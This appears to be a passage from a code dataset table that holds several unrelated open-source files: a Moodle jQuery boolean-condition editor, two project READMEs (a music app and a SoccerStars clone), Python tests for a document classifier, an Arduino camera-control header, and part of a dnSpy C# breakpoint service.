code
stringlengths 3
1.05M
| repo_name
stringlengths 4
116
| path
stringlengths 3
942
| language
stringclasses 30
values | license
stringclasses 15
values | size
int32 3
1.05M
|
---|---|---|---|---|---|
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* @package enrol_attributes
* @author Julien Furrer <[email protected]>
* @copyright 2012-2015 Université de Lausanne (@link http://www.unil.ch}
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
;
(function ($) {
$.booleanEditor = {
defaults: {
rules: [],
change: null
},
paramList: M.enrol_attributes.paramList,
operatorList: [
{label: " = ", value: "=="},
// {label: "=/=", value: "!="},
// {label: "contains", value: "contains"},
]
};
$.fn.extend({
booleanEditor: function (options) {
var isMethodCall = (typeof options == 'string'), // is it a method call or booleanEditor instantiation ?
args = Array.prototype.slice.call(arguments, 1);
if (isMethodCall) switch (options) {
case 'serialize':
var mode = ( args[0] ) ? args[0].mode : '',
ser_obj = serialize(this);
switch (mode) {
case 'json':
return $.toJSON(ser_obj);
break;
case 'object':
default:
return ser_obj;
}
break;
case 'getExpression':
return getBooleanExpression(this);
break;
default:
return;
}
settings = $.extend({}, $.booleanEditor.defaults, options);
return this.each(function () {
if (settings.change) {
$(this).data('change', settings.change)
}
$(this)
.addClass("enrol-attributes-boolean-editor")
.append(createRuleList($('<ul></ul>'), settings.rules));
changed(this);
});
}
});
function serialize(root_elem) {
var ser_obj = {rules: []};
var group_c_op = $("select:first[name='cond-operator']", root_elem).val();
if (group_c_op)
ser_obj.cond_op = group_c_op;
$("ul:first > li", root_elem).each(function () {
r = $(this);
if (r.hasClass('group')) {
ser_obj['rules'].push(serialize(this));
}
else {
var cond_obj = {
param: $("select[name='comparison-param'] option:selected", r).val(),
comp_op: $("select[name='comparison-operator']", r).val(),
value: $("input[name='value']", r).val()
};
var cond_op = $("select[name='cond-operator']", r).val();
if (cond_op)
cond_obj.cond_op = cond_op;
ser_obj['rules'].push(cond_obj);
}
});
return ser_obj;
}
function getBooleanExpression(editor) {
var expression = "";
$("ul:first > li", editor).each(function () {
r = $(this);
var c_op = $("select[name='cond-operator']", r).val();
if (c_op != undefined) c_op = '<span class="cond-op"> ' + c_op + ' </span>';
if (r.hasClass('group')) {
expression += c_op + '<span class="group-op group-group">(</span>' + getBooleanExpression(this) + '<span class="group-op group-group">)</span>';
}
else {
expression += [
c_op,
'<span class="group-op group-cond">(</span>',
'<span class="comp-param">' + $("select[name='comparison-param'] option:selected", r).text() + '</span>',
'<span class="comp-op"> ' + $("select[name='comparison-operator']", r).val() + ' </span>',
'<span class="comp-val">' + '\'' + $("input[name='value']", r).val() + '\'' + '</span>',
'<span class="group-op group-cond">)</span>'
].join("");
}
});
return expression;
}
function changed(o) {
$o = $(o);
if (!$o.hasClass('enrol-attributes-boolean-editor')) {
$o = $o.parents('.enrol-attributes-boolean-editor').eq(0);
}
if ($o.data('change')) {
$o.data('change').apply($o.get(0));
}
}
function createRuleList(list_elem, rules) {
//var list_elem = $(list_elem);
if (list_elem.parent("li").eq(0).hasClass("group")) {
console.log("inside a group");
return;
}
if (rules.length == 0) {
// No rules, create a new one
list_elem.append(getRuleConditionElement({first: true}));
} else {
// Read all rules
for (var r_idx = 0; r_idx < rules.length; r_idx++) {
var r = rules[r_idx];
r['first'] = (r_idx == 0);
// If the rule is an array, create a group of rules
if (r.rules && (typeof r.rules[0] == 'object')) {
r.group = true;
var rg = getRuleConditionElement(r);
list_elem.append(rg);
createRuleList($("ul:first", rg), r.rules);
}
else {
list_elem.append(getRuleConditionElement(r));
}
}
}
return list_elem;
};
/**
* Build the HTML code for editing a rule condition.
* A rule is composed of one or more rule conditions linked by boolean operators
*/
function getRuleConditionElement(config) {
config = $.extend({},
{
first: false,
group: false,
cond_op: null,
param: null,
comp_op: null,
value: ''
},
config
);
// If group flag is set, wrap content with <ul></ul>, content is obtained by a recursive call
// to the function, passing a copy of config with flag group set to false
var cond_block_content = $('<div class="sre-condition-box"></div>');
if (config.group) {
cond_block_content.append('<ul></ul>');
} else {
cond_block_content
.append(makeSelectList({ // The list of parameters to be compared
name: 'comparison-param',
params: $.booleanEditor.paramList,
selected_value: config.param
}).addClass("comp-param"))
.append($('<span>').addClass("comp-op").text('='))
// .append( makeSelectList({ // The comparison operator
// name: 'comparison-operator',
// params: $.booleanEditor.operatorList,
// selected_value: config.comp_op
// }).addClass("comp-op"))
.append($('<input type="text" name="value" value="' + config.value + '"/>')
.change(function () {
changed(this)
})
); // The value of the comparions
}
var ruleConditionElement = $('<li></li>')
.addClass((config.group) ? 'group' : 'rule')
.append(createRuleOperatorSelect(config))
.append(cond_block_content)
.append(createButtonPannel())
return ruleConditionElement;
};
function createRuleOperatorSelect(config) {
return (config.first) ? '' :
makeSelectList({
'name': 'cond-operator',
params: [
{label: 'AND', value: 'and'},
{label: 'OR', value: 'or'}
],
selected_value: config.cond_op
}).addClass('sre-condition-rule-operator');
}
function createButtonPannel() {
var buttonPannel = $('<div class="button-pannel"></div>')
.append($('<button type="button" class="button-add-cond">'+ M.util.get_string('addcondition', 'enrol_attributes') +'</button>')
.click(function () {
addNewConditionAfter($(this).parents('li').get(0));
})
)
.append($('<button type="button" class="button-add-group">'+ M.util.get_string('addgroup', 'enrol_attributes') +'</button>')
.click(function () {
addNewGroupAfter($(this).parents('li').get(0));
})
)
.append($('<button type="button" class="button-del-cond">'+ M.util.get_string('deletecondition', 'enrol_attributes') +'</button>')
.click(function () {
deleteCondition($(this).parents('li').eq(0));
})
);
$('button', buttonPannel).each(function () {
$(this)
.focus(function () {
this.blur()
})
.attr("title", $(this).text())
.wrapInner('<span/>');
});
return buttonPannel;
}
function makeSelectList(config) {
config = $.extend({},
{
name: 'list_name',
params: [{label: 'label', value: 'value'}],
selected_value: null
},
config);
var selectList = $('<select name="' + config.name + '"></select>')
.change(function () {
changed(this);
});
$.each(config.params, function (i, p) {
var p_obj = $('<option></option>')
.attr({label: p.label, value: p.value})
.text(p.label);
if (p.value == config.selected_value) {
p_obj.attr("selected", "selected");
}
p_obj.appendTo(selectList);
});
return selectList;
}
//
// -->> Conditions manipulation <<--
//
function addNewConditionAfter(elem, config) {
getRuleConditionElement(config)
.hide()
.insertAfter(elem)
.fadeIn("normal", function () {
changed(elem)
});
}
function addNewGroupAfter(elem, config) {
getRuleConditionElement({group: true})
.hide()
.insertAfter(elem)
.find("ul:first")
.append(getRuleConditionElement($.extend({}, config, {first: true})))
.end()
.fadeIn("normal", function () {
changed(elem)
});
}
/*
*
* Supprimer une condition : supprimer éventuellement le parent si dernier enfant,
* mettre à jour le parent dans tous les cas.
*
*/
function deleteCondition(elem) {
if (elem.parent().parent().hasClass('enrol-attributes-boolean-editor')) {
// Level 1
if (elem.siblings().length == 0) {
return;
}
} else {
// Higher level
if (elem.siblings().length == 0) {
// The last cond of the group, target the group itself, to be removed
elem = elem.parents('li').eq(0);
}
}
p = elem.parent();
elem.fadeOut("normal", function () {
$(this).remove();
$("li:first .sre-condition-rule-operator", ".enrol-attributes-boolean-editor ul").remove();
changed(p);
});
}
})(jQuery);
| nitro2010/moodle | enrol/attributes/js/jquery.booleanEditor.js | JavaScript | gpl-3.0 | 12,496 |
Gumbe is music content webapp that provide Sierra Leone to quickly access Salone music online. This app is build on # SoundRedux
In an effort to learn es6 and [redux](https://github.com/rackt/redux), this is SoundRedux, a simple [Soundcloud](http://soundcloud.com) client
See it in action at http://soundredux.io
Uses [normalizr](https://github.com/gaearon/normalizr)
1. `npm install`
2. `npm run start`
3. visit `http://localhost:8080`
Feedback, issues, etc. are more than welcome!
| bayoh/Gumbe | README.md | Markdown | gpl-3.0 | 488 |
from flask import json
from unittest.mock import patch, Mock
from urbansearch.gathering.indices_selector import IndicesSelector
from urbansearch.server.main import Server
from urbansearch.server import classify_documents
from urbansearch.server.classify_documents import _join_workers
from urbansearch.workers import Workers
s = Server(run=False)
@patch('urbansearch.server.classify_documents._join_workers')
@patch.object(Workers, 'run_classifying_workers')
@patch.object(IndicesSelector, 'run_workers')
def test_download_indices_for_url(mock_rcw, mock_rw, mock_jw):
with s.app.test_client() as c:
resp = c.get('/api/v1/classify_documents/log_only?directory=test')
assert mock_rcw.called
assert mock_rw.called
assert mock_jw.called
@patch('urbansearch.server.classify_documents._join_workers')
@patch.object(Workers, 'run_classifying_workers')
@patch.object(IndicesSelector, 'run_workers')
def test_classify_indices_to_db(mock_rcw, mock_rw, mock_jw):
with s.app.test_client() as c:
resp = c.get('/api/v1/classify_documents/to_database?directory=test')
assert mock_rcw.called
assert mock_rw.called
assert mock_jw.called
@patch('urbansearch.server.classify_documents._join_workers')
@patch('urbansearch.server.classify_documents.db_utils')
def test_classify_indices_to_db_no_connection(mock_db, mock_jw):
mock_db.connected_to_db.return_value = False
with s.app.test_client() as c:
resp = c.get('/api/v1/classify_documents/to_database?directory=test')
assert not mock_jw.called
@patch('urbansearch.server.classify_documents._join_file_workers')
@patch.object(Workers, 'run_classifying_workers')
@patch.object(Workers, 'run_read_files_worker')
def test_classify_textfiles_to_db(mock_rfw, mock_rw, mock_jw):
classify_documents.classify_textfiles_to_db(0, 'test')
assert mock_rfw.called
assert mock_rw.called
assert mock_jw.called
@patch('urbansearch.server.classify_documents._join_workers')
@patch('urbansearch.server.classify_documents.db_utils')
def test_classify_textfiles_to_db_no_connection(mock_db, mock_jw):
mock_db.connected_to_db.return_value = False
classify_documents.classify_textfiles_to_db(0, None)
assert not mock_jw.called
def test_join_workers():
producers = [Mock()]
cworker = Mock()
consumers = [Mock()]
classify_documents._join_workers(cworker, producers, consumers)
for p in producers:
assert p.join.called
assert cworker.set_producers_done.called
for c in consumers:
assert c.join.called
assert cworker.clear_producers_done.called
def test_join_file_workers():
producers = [Mock()]
cworker = Mock()
consumers = [Mock()]
classify_documents._join_file_workers(cworker, producers, consumers)
for p in producers:
assert p.join.called
assert cworker.set_file_producers_done.called
for c in consumers:
assert c.join.called
assert cworker.clear_file_producers_done.called
| urbansearchTUD/UrbanSearch | tests/server/test_classify_documents.py | Python | gpl-3.0 | 3,035 |
/*
Camera Functionality Library
OpenMoco MoCoBus Core Libraries
See www.dynamicperception.com for more information
(c) 2008-2012 C.A. Church / Dynamic Perception LLC
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef OM_CAMERA_H
#define OM_CAMERA_H
#include <inttypes.h>
// default pin assignments (nanomoco)
#define OM_DEFSHUTTER1 9 // Trigger 1 pin
#define OM_DEFSHUTTER2 8 // Trigger 2 pin
#define OM_DEFFOCUS1 11 // Focus 1 pin
#define OM_DEFFOCUS2 10 // Focus 2 pin
// callback status codes
#define OM_CAMEXP 1 // Camera exposure has begun
#define OM_CAM_EFIN 2 // Camera exposure has completed
#define OM_CAMFOC 3 // Camera focus has begun
#define OM_CAM_FFIN 4 // Camera focus has completed
#define OM_CAMWAIT 5 // (Exposure) delay has begun
#define OM_CAM_WFIN 6 // (Exposure) delay has completed
#define OM_CAM_INCLR 0 // Camera action is cleared
#define OM_CAM_INEXP 1 // Camera is currently exposing
#define OM_CAM_INFOC 2 // Camera is currently focusing
#define OM_CAM_INDLY 3 // Camera is currently idle
/**
@brief
Camera Action Manager
The Caamera Action Manager class controls a camera's focus and shutter
lines, given that these lines are attached to an arduino device via
an optocoupler or similar device. The focus and shutter lines are
driven HIGH to trigger the given action.
All actions performed by the Camera Action Manager are non-blocking, and
this library uses the MsTimer2 library to achieve this. For this reason,
you may only have one such object instantiated in your program, and under
no circumstances should you attempt to use MsTimer2 in another part of
your program while a camera action is being performed.
Status reporting from the Camera Manager is handled via a callback function,
which you may specify. This function will be called at the beginning and
completion of any action with a special code to indicate the status. For
more information on this, see setHandler().
The default pins for the shutter and focus are 13 and 12, respectively.
You may, however specify the shutter and focus pins via the constructor.
Example:
@code
// note: You -always- have to include the MSTimer2 library in an arduino
// sketch before including the OMCamera header
#include "MsTimer2.h"
#include "OMCamera.h"
OMCamera Camera = OMCamera();
void setup() {
Camera.setHandler(camCallBack);
Serial.begin(19200);
}
void loop() {
if( ! Camera.busy() ) {
// camera is not busy doing anything, so we're ready to
// start another cycle
Serial.println("Round Begin, Triggering Focus");
Camera.focus(1000);
}
}
void camCallBack(byte code) {
switch(code) {
case OM_CAM_FFIN: // focus finish code received
Serial.println("Focus Done, Triggering Exposure");
// trigger an exposure
Camera.expose(1000);
break;
case OM_CAM_EFIN: // exposure finish code received
Serial.println("Exposure Done, Waiting.");
// wait (non-blocking wait implemented via timer2) for 10 seconds
Camera.wait(10000);
break;
case OM_CAM_WFIN: // wait finish code received
// we do nothing, because this is the end of a sshot cycle -
// the main loop will pick up again witth focus, because the
// camera will no longer register as busy.
Serial.println("Wait Done, Round Complete");
Serial.println("");
break;
}
}
@endcode
@author C. A. Church
(c) 2011 C. A. Church / Dynamic Perception
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
class OMCamera {
private:
unsigned long m_shotsFired;
static uint8_t m_shutter1;
static uint8_t m_shutter2;
static uint8_t m_focus1;
static uint8_t m_focus2;
unsigned long m_interval; // Camera interval in milliseconds
unsigned long m_timeExp;
unsigned int m_timeFoc;
unsigned int m_timeWait;
unsigned int m_maxShots;
bool m_focusShut;
static bool m_debug;
static uint8_t m_curAct;
static bool m_isBzy;
static void(*f_camSignal)(uint8_t);
void _init();
public:
OMCamera();
OMCamera(uint8_t c_shut, uint8_t c_foc);
static bool busy();
void setHandler(void(*)(uint8_t));
void setMaxShots(unsigned int shots);
unsigned int getMaxShots();
bool repeat;
bool enable;
void intervalTime(unsigned long p_interval);
unsigned long intervalTime();
void expose();
void expose(unsigned long p_time);
void triggerTime(unsigned long p_tm);
unsigned long triggerTime();
void exposureFocus(bool);
uint8_t exposureFocus();
void focus();
void focus(unsigned int p_time);
void focusTime(unsigned int p_tm);
unsigned int focusTime();
void wait();
void wait(unsigned int p_time);
void delayTime(unsigned int p_tm);
unsigned int delayTime();
static void stop();
static void debugOutput(bool p_state);
static bool debugOutput();
};
#endif
| DynamicPerception/OMLibraries | OMCamera/OMCamera.h | C | gpl-3.0 | 6,324 |
##Computer Science project: SoccerStars
To play, clone this repository or download the zip and unzip it on your computer. Then compile the files and launch the EcranAccueil class (*java EcranAccueil*). If you have a custom puck done for you (if you're a SCAN student mainly) enter your first name. For example, try *yassine* and *horia*.
**Team members :** Horia Burca, Guilhem Dupuy, Vincent Garcia, Yassine Zouggari
**Supervized by :** Yassine Zouggari (yzoug on GitHub)

###Aim of the project:
This project consist in creating a game similar to SoccerStars: a famous Android and iOS application. To get a grip of it, you can either download the application on a compatible mobile device or head to the website of the editor: [try the original SoccerStars](http://www.miniclip.com/games/soccer-stars-mobile/fr/).
As suggested by the title, the *goal* of the players is the score against the opponent, like in a soccer game. To do so, you have 5 pucks at your disposal, on your side of the field: they consitute your team. In addition, there also is an 11th object, the soccer ball. The first team to push the ball inside the opponent's goal scores, and the first team that scores 2 times wins.
The pucks and the goal bounce at the limits of the field and can't hence leave the boundaries. Alternately, each player will launch one of his pucks using his mouse, which will determine the direction in which it will be thrown. Depending on the distance between the first click and to position of the cursor when released, the puck will be assigned a proportional velocity. If the puck hits another puck or the ball, both displacements will be modified (their magnitude and direction). When the puck hits the field limit, it will change trajectory as would a light beam in Optics when reflected.
The players hence use the bounces to their advantage, either to try and score, or the move the pucks of the opponent to disturb his attempts, or to defend their own goal.
### Main issues which had to be dealt with :
While coding our program, we mainly faced the following problems:
1. First of all, our field had to be delimited, on the graphical point of vue (which means that these limits should appear clearly to the users), but also limited with respect to the pucks and the ball: they never leave the field and always stay inside it.
2. Then, as the aim of our project is to program an arcade game, we had to make clear for each player what is going on in the game (who scored, who’s playing on which side, etc …)
3. The displacement of all our elements (which means of our 10 pucks and the ball) had to be taken care of
4. Probably the hardest part of our project, we had to figure out a way to implement rebounds in order to be as realistic as possible. This means the collisions had to impact the displacements in a realistic way, but without trying to simulate them exactly as their happen in real life. We also had to differentiate how they happen when the ball is hit, versus when two pucks enter in contact with one another.
5. We tried to code the program following the general POO guidelines (private attributes, factorization of the code etc) and a big effort was made to make the code as legible as possible and as compact as possible.
### How did we face these issues ?
* The first two problems were solved simply using IHM; indeed, we used a background image in order to indicate to the players were the field was, and we mesured it (pixel-wise) to find the actual limits of the field. Then, using the usual Graphics tools (*drawString(String a)*), we displayed the score. What took us the longest time is the precise positioning of each element, and the creation of all the graphics of the game: pucks at the right size, field modified to suit our needs for example. We had to use graphical softwares (GIMP mostly, or when possible, Paint) to achieve this.
* In order to make sure that all our objects (ball + pucks) stay inside our field at all times, we implemented rebounds on the extremities of our field (knowing their exact position). This was done inside the move() method, inside our abstract class *PaletAndBall* (see the part dealing with the hierarchy of our different objects).
* In order to implement the displacement of our objects (3), we tried to stay as simple as possible and only used 2 values, that were sufficient in order to simulate a standard mathematical vector, and hence allowing us to do basic trigonometry and mechanics for our displacements. Those two attributes of *PaletAndBall* are the direction and the speed, defined as doubles. The change of those variables is done with the mouse by the user, when he clicks and drags his mouse: we used *mousePressed* and *mouseReleased*, with a *MouseListener*.
* The most challenging part of our project was the rebounds (4). In order to solve this issue, we tried to adapt physical models to our program. We tried not to spend too much time on this, as it relied more on (complicated) Mechanics than on Computer Science but it was still a major part of our project. We used a *collision(PaletAndBall p)* method implemented inside our abstract *PaletAndBall* class. This method is called by our *actionPerformed* method (that itself is call by a Swing Timer) on each object (puck or ball) that is moving. It checks, after each displacement, if the new position of the puck enters in contact with another object, and if that's true, it first moves the puck back up until it no longer is **above** the other object, then changes the directions and speeds of both objects accordingly.
* We also had to face a major and unexpected issue; indeed, our pucks were moving too quick for our timer calling the *collision* method every 50ms. Due to this, our objects were often overlapping each other despite the precautions we took (explained just above), which was sometimes resulting in non-existing rebounds (pucks were sometimes going through other objects without bouncing against them). Some small tweaks on our *collision* method, and a lower limit for the maximum speed of our objects (from 200 to 100) were sufficient for compeletly solving this, but took us quite some time debugging.
### Bibliography:
Two resources were needed during our work on this project: the [javadoc](https://docs.oracle.com/javase/7/docs/api/) mainly, and the Asteroids TP we did in class: the code we wrote for that TP helped us with some similar code that had to be written for our game (buffers, images etc).
We also relied on our Mechanics textbook to come up with a simple collisions model, mainly concerning the changes in direction.
### Organization of our program:
Her is the complete list of the different objects we used :
* An abstract class named *PaletAndBall*. As its name suggests, it is divided in 2 child classes :
* public *Ball*
* public *Palet*
We found the creation of such a class usefull in order to optimize the space occupied by our program; indeed, “Ball” and “Palet” objects share lots of common methods and attributes. In order to be able to know if our *PaletAndBall* object is a ball or a puck, we implemented the abstract isBall method, which returns a boolean. This is because throughout the game, we manipulate an *objects* variable that is an array containing ten pucks and a ball, hence we actually never know if we have a puck or a ball without using this method.
* A public class named *Jeu*, child class of a JFrame, whcih implements an *ActionListener* (used for our Timer) and a *MouseListener* (used by the players when they set the speed and direction of one of their pucks).
* A public *EcranAccueil* class, child class of a JFrame which implements an *ActionListener*. This listener is used in order to detect when the players click on the ball, which launches a new game. You can also choose the name of your team in the two JTextField. If the name correspond to one of the puck we have in the folder *images/*, you will have a special kind of puck.
* A public class named *EcranFinal* child class of a JFrame is launched when someone wins, i.e. when someone score two times. This class implements an *ActionListener*, you can go back tothe menu or replay the game with the same team names.
* A public class named *SoundClip*, which deals with the audio part of our program (music played during the game and while our *EcranAccueil* is displayed)
### Enhancement ideas :
In our opinion, the main problem of our program is the sometimes non-realistic rebounds. Some extra work could be done in order to find better physical models, which would enhance the gameplay.
Furthermore, we could also add posts to each side of our goals, which would make the rebounds on the side of the goals more interesting. This could be quite easily done by creating a non-moving *PaletAndBall* object. We didn’t realize this on our program as the use of a drawing software like Paint, Photoshop or GIMP is very time-consuming and not very interesting in terms of Computer Science.
Some animation could be added when one of the players scores, once again in order to enhance the gameplay quality.
Finally, the big enhancement idea (that Yassine will still work on even after the end of the project) is playing online. However, at INSA, the Internet access we have is behind a firewall that blocks all ports (except a few reserved ones). That's why for example it's impossible to use Steam or IRC clients from our homes. This made the writing of the server-side client-side of the code a lot harder, since I simply couldn't test if it was working or not. If I manage to find a solution it'll be possible to play our game over the web (I even have a server that can do the connection).
### Planning
The actual way our project happened, the whole day-to-day changes are all available on GitHub: simply look at the [commits](https://github.com/yzoug/soccer-stars-clone/commits/master).
However, we also had an initial planning that we hence didn't follow at the letter, but it's amusing to see how priorities shift when we actually start working on the project versus simply planning it. If you want to compare what happened and what we planned, here it is:
11/12/2015 :
* Study the mechanics aspects of the game.
* Create the objects Puck and Ball.
* Beginning the IHM part of the project.
18/12/2015 :
* Finish the IHM of the game (field + puck + ball).
* Try to throw a puck on the field.
* Try to integrate the mechanics aspects to the programme.
06/101/2015 :
* Finish the throwing of the puck on the field.
* Continue to integrate the mechanics aspects.
* From now on, we were able to play a game (with lots of bugs thow).
13/01/2015 :
* The finishing of each aspect of the programme were made.
* We added customizable pucks (with pictures of some students of the class and even some of our teachers available)
| yzoug/soccer-stars-clone | README.md | Markdown | gpl-3.0 | 10,931 |
/*
Copyright (C) 2014-2019 [email protected]
This file is part of dnSpy
dnSpy is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
dnSpy is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with dnSpy. If not, see <http://www.gnu.org/licenses/>.
*/
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel.Composition;
using System.Diagnostics;
using System.Linq;
using dnSpy.Contracts.Debugger;
using dnSpy.Contracts.Debugger.Breakpoints.Code;
using dnSpy.Contracts.Debugger.Code;
using dnSpy.Debugger.Impl;
namespace dnSpy.Debugger.Breakpoints.Code {
abstract class DbgCodeBreakpointsService2 : DbgCodeBreakpointsService {
public abstract void UpdateIsDebugging_DbgThread(bool newIsDebugging);
public abstract DbgBoundCodeBreakpoint[] AddBoundBreakpoints_DbgThread(IList<DbgBoundCodeBreakpoint> boundBreakpoints);
public abstract void RemoveBoundBreakpoints_DbgThread(IList<DbgBoundCodeBreakpoint> boundBreakpoints);
public abstract DbgBoundCodeBreakpoint[] RemoveBoundBreakpoints_DbgThread(DbgRuntime runtime);
}
[Export(typeof(DbgCodeBreakpointsService))]
[Export(typeof(DbgCodeBreakpointsService2))]
sealed class DbgCodeBreakpointsServiceImpl : DbgCodeBreakpointsService2 {
readonly object lockObj;
readonly HashSet<DbgCodeBreakpointImpl> breakpoints;
readonly Dictionary<DbgCodeLocation, DbgCodeBreakpointImpl> locationToBreakpoint;
readonly DbgDispatcherProvider dbgDispatcherProvider;
int breakpointId;
bool isDebugging;
public override event EventHandler<DbgBoundBreakpointsMessageChangedEventArgs> BoundBreakpointsMessageChanged;
internal DbgDispatcherProvider DbgDispatcher => dbgDispatcherProvider;
[ImportingConstructor]
DbgCodeBreakpointsServiceImpl(DbgDispatcherProvider dbgDispatcherProvider, [ImportMany] IEnumerable<Lazy<IDbgCodeBreakpointsServiceListener>> dbgCodeBreakpointsServiceListener) {
lockObj = new object();
breakpoints = new HashSet<DbgCodeBreakpointImpl>();
locationToBreakpoint = new Dictionary<DbgCodeLocation, DbgCodeBreakpointImpl>();
this.dbgDispatcherProvider = dbgDispatcherProvider;
breakpointId = 0;
isDebugging = false;
foreach (var lz in dbgCodeBreakpointsServiceListener)
lz.Value.Initialize(this);
}
void Dbg(Action callback) => dbgDispatcherProvider.Dbg(callback);
public override void Modify(DbgCodeBreakpointAndSettings[] settings) {
if (settings is null)
throw new ArgumentNullException(nameof(settings));
Dbg(() => ModifyCore(settings));
}
void ModifyCore(DbgCodeBreakpointAndSettings[] settings) {
dbgDispatcherProvider.VerifyAccess();
List<DbgCodeBreakpointImpl>? updatedBreakpoints = null;
var bps = new List<DbgCodeBreakpointAndOldSettings>(settings.Length);
lock (lockObj) {
foreach (var info in settings) {
var bpImpl = info.Breakpoint as DbgCodeBreakpointImpl;
Debug.Assert(!(bpImpl is null));
if (bpImpl is null)
continue;
Debug.Assert(breakpoints.Contains(bpImpl));
if (!breakpoints.Contains(bpImpl))
continue;
var currentSettings = bpImpl.Settings;
if (currentSettings == info.Settings)
continue;
bps.Add(new DbgCodeBreakpointAndOldSettings(bpImpl, currentSettings));
if (bpImpl.WriteSettings_DbgThread(info.Settings)) {
if (updatedBreakpoints is null)
updatedBreakpoints = new List<DbgCodeBreakpointImpl>(settings.Length);
updatedBreakpoints.Add(bpImpl);
}
}
}
if (bps.Count > 0)
BreakpointsModified?.Invoke(this, new DbgBreakpointsModifiedEventArgs(new ReadOnlyCollection<DbgCodeBreakpointAndOldSettings>(bps)));
if (!(updatedBreakpoints is null)) {
foreach (var bp in updatedBreakpoints)
bp.RaiseBoundBreakpointsMessageChanged_DbgThread();
BoundBreakpointsMessageChanged?.Invoke(this, new DbgBoundBreakpointsMessageChangedEventArgs(new ReadOnlyCollection<DbgCodeBreakpoint>(updatedBreakpoints.ToArray())));
}
}
public override event EventHandler<DbgBreakpointsModifiedEventArgs> BreakpointsModified;
public override event EventHandler<DbgCollectionChangedEventArgs<DbgCodeBreakpoint>> BreakpointsChanged;
public override DbgCodeBreakpoint[] Breakpoints {
get {
lock (lockObj)
return breakpoints.ToArray();
}
}
public override DbgCodeBreakpoint[] Add(DbgCodeBreakpointInfo[] breakpoints) {
if (breakpoints is null)
throw new ArgumentNullException(nameof(breakpoints));
var bpImpls = new List<DbgCodeBreakpointImpl>(breakpoints.Length);
List<DbgObject>? objsToClose = null;
lock (lockObj) {
for (int i = 0; i < breakpoints.Length; i++) {
var info = breakpoints[i];
var location = info.Location;
if (locationToBreakpoint.ContainsKey(location)) {
if (objsToClose is null)
objsToClose = new List<DbgObject>();
objsToClose.Add(location);
}
else {
var bp = new DbgCodeBreakpointImpl(this, breakpointId++, info.Options, location, info.Settings, isDebugging);
bpImpls.Add(bp);
}
}
Dbg(() => AddCore(bpImpls, objsToClose));
}
return bpImpls.ToArray();
}
void AddCore(List<DbgCodeBreakpointImpl> breakpoints, List<DbgObject>? objsToClose) {
dbgDispatcherProvider.VerifyAccess();
var added = new List<DbgCodeBreakpoint>(breakpoints.Count);
List<DbgCodeBreakpointImpl>? updatedBreakpoints = null;
lock (lockObj) {
foreach (var bp in breakpoints) {
Debug.Assert(!this.breakpoints.Contains(bp));
if (this.breakpoints.Contains(bp))
continue;
if (locationToBreakpoint.ContainsKey(bp.Location)) {
if (objsToClose is null)
objsToClose = new List<DbgObject>();
objsToClose.Add(bp);
}
else {
added.Add(bp);
this.breakpoints.Add(bp);
locationToBreakpoint.Add(bp.Location, bp);
if (bp.WriteIsDebugging_DbgThread(isDebugging)) {
if (updatedBreakpoints is null)
updatedBreakpoints = new List<DbgCodeBreakpointImpl>(breakpoints.Count);
updatedBreakpoints.Add(bp);
}
}
}
}
if (!(objsToClose is null)) {
foreach (var obj in objsToClose)
obj.Close(dbgDispatcherProvider.Dispatcher);
}
if (added.Count > 0)
BreakpointsChanged?.Invoke(this, new DbgCollectionChangedEventArgs<DbgCodeBreakpoint>(added, added: true));
if (!(updatedBreakpoints is null)) {
foreach (var bp in updatedBreakpoints)
bp.RaiseBoundBreakpointsMessageChanged_DbgThread();
BoundBreakpointsMessageChanged?.Invoke(this, new DbgBoundBreakpointsMessageChangedEventArgs(new ReadOnlyCollection<DbgCodeBreakpoint>(updatedBreakpoints.ToArray())));
}
}
public override void Remove(DbgCodeBreakpoint[] breakpoints) {
if (breakpoints is null)
throw new ArgumentNullException(nameof(breakpoints));
Dbg(() => RemoveCore(breakpoints));
}
void RemoveCore(DbgCodeBreakpoint[] breakpoints) {
dbgDispatcherProvider.VerifyAccess();
var removed = new List<DbgCodeBreakpoint>(breakpoints.Length);
lock (lockObj) {
foreach (var bp in breakpoints) {
var bpImpl = bp as DbgCodeBreakpointImpl;
Debug.Assert(!(bpImpl is null));
if (bpImpl is null)
continue;
if (!this.breakpoints.Contains(bpImpl))
continue;
removed.Add(bpImpl);
this.breakpoints.Remove(bpImpl);
bool b = locationToBreakpoint.Remove(bpImpl.Location);
Debug.Assert(b);
}
}
if (removed.Count > 0) {
BreakpointsChanged?.Invoke(this, new DbgCollectionChangedEventArgs<DbgCodeBreakpoint>(removed, added: false));
foreach (var bp in removed)
bp.Close(dbgDispatcherProvider.Dispatcher);
}
}
public override DbgCodeBreakpoint? TryGetBreakpoint(DbgCodeLocation location) {
if (location is null)
throw new ArgumentNullException(nameof(location));
lock (lockObj) {
if (locationToBreakpoint.TryGetValue(location, out var bp))
return bp;
}
return null;
}
